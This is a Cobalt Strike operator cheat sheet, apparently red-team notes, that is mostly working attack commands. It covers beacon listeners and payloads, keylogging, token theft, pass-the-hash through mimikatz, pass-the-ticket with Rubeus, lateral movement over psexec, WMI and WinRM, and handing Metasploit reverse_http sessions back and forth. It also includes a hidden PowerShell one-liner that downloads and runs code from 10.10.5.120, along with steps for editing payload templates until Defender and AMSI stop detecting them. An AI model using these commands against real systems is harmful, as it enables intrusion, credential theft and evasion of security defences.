Cobalt Strike

Listeners

C2 Listeners

Cobalt Strike -> Listeners -> Add/Edit then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.

Peer2Peer Listeners

The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.

Cobalt Strike -> Listeners -> Add/Edit then you need to select the TCP or SMB beacons

• The TCP beacon will set a listener in the port selected. To connect to a TCP beacon use the command connect <ip> <port> from another beacon

• The smb beacon will listen in a pipename with the selected name. To connect to a SMB beacon you need to use the command link [target] [pipe].

Generate & Host payloads

Generate payloads in files

Attacks -> Packages ->

• HTMLApplication for HTA files

• MS Office Macro for an office document with a macro

• Windows Executable for a .exe, .dll orr service .exe

• Windows Executable (S) for a stageless .exe, .dll or service .exe (better stageless than staged, less IoCs)

Generate & Host payloads

Attacks -> Web Drive-by -> Scripted Web Delivery (S) This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python

Host Payloads

If you already has the file you want to host in a web sever just go to Attacks -> Web Drive-by -> Host File and select the file to host and web server config.

Beacon Options

# Execute local .NET binary
execute-assembly </path/to/executable.exe>

# Screenshots
printscreen    # Take a single screenshot via PrintScr method
screenshot     # Take a single screenshot
screenwatch    # Take periodic screenshots of desktop
## Go to View -> Screenshots to see them

# keylogger
keylogger [pid] [x86|x64]
## View > Keystrokes to see the keys pressed

# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
portscan [targets] [ports] [arp|icmp|none] [max connections]

# Powershell
# Import Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell <just write powershell cmd here>

# User impersonation
## Token generation with creds
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token generated with make_token
## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.

# UAC Bypass
elevate svc-exe <listener>
elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## Steal token from pid
## Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token from steal_token

## Launch process with nwe credentials
spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).

## Inject into process
inject [pid] [x64|x86] [listener]
## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).

## Pass the hash
## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]

## Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
steal_token <pid> #Steal token from process created by mimikatz

## Pass the ticket
## Request a ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
make_token <domain>\<username> DummyPass
## Write the ticket in the attacker machine from a poweshell session & load it
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

## Pass the ticket from SYSTEM
## Generate a new process with the ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steal the token from that process
steal_token <pid>

## Extract ticket + Pass the ticket
### List tickets
execute-assembly C:\path\Rubeus.exe triage
### Dump insteresting ticket by luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
### Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Finally, steal the token from that new process
steal_token <pid>

# Lateral Movement
## If a token was created it will be used
jump [method] [target] [listener]
## Methods:
## psexec                    x86   Use a service to run a Service EXE artifact
## psexec64                  x64   Use a service to run a Service EXE artifact
## psexec_psh                x86   Use a service to run a PowerShell one-liner
## winrm                     x86   Run a PowerShell script via WinRM
## winrm64                   x64   Run a PowerShell script via WinRM

remote-exec [method] [target] [command]
## Methods:
## psexec                          Remote execute via Service Control Manager
## winrm                           Remote execute via WinRM (PowerShell)
## wmi                             Remote execute via WMI

## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe


# Pass session to Metasploit - Through listener
## On metaploit host
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j

## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
beacon> spawn metasploit
## You can only spawn x86 Meterpreter sessions with the foreign listener.

# Pass session to Metasploit - Through shellcode injection
## On metasploit host
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## Run msfvenom and prepare the multi/handler listener

## Copy bin file to cobalt strike host
ps
shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process

# Pass metasploit session to cobalt strike
## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode


# Pivoting
## Open a socks proxy in the teamserver
beacon> socks 1080

# SSH connection
beacon> ssh 10.10.17.12:22 username password

Avoiding AVs

Artifact Kit

Usually in /opt/cobaltstrike/artifact-kit you can find the code and pre-compiled templates (in /src-common) of the payloads that cobalt strike is going to use to generate the binary beacons.

Using ThreatCheck with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.

After modifying the code just run ./build.sh from the same directory and copy the dist-pipe/ folder into the Windows client in C:\Tools\cobaltstrike\ArtifactKit.

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .

Don't forget to load the aggressive script dist-pipe\artifact.cna to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.

Resource Kit

The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.

Using ThreatCheck with the templates you can find what is defender (AMSI in this case) not liking and modify it:

.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1

Modifying the detected lines one can generate a template that won't be caught.

Don't forget to load the aggressive script ResourceKit\resources.cna to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.

cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL



# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna

#artifact kit
cd  C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .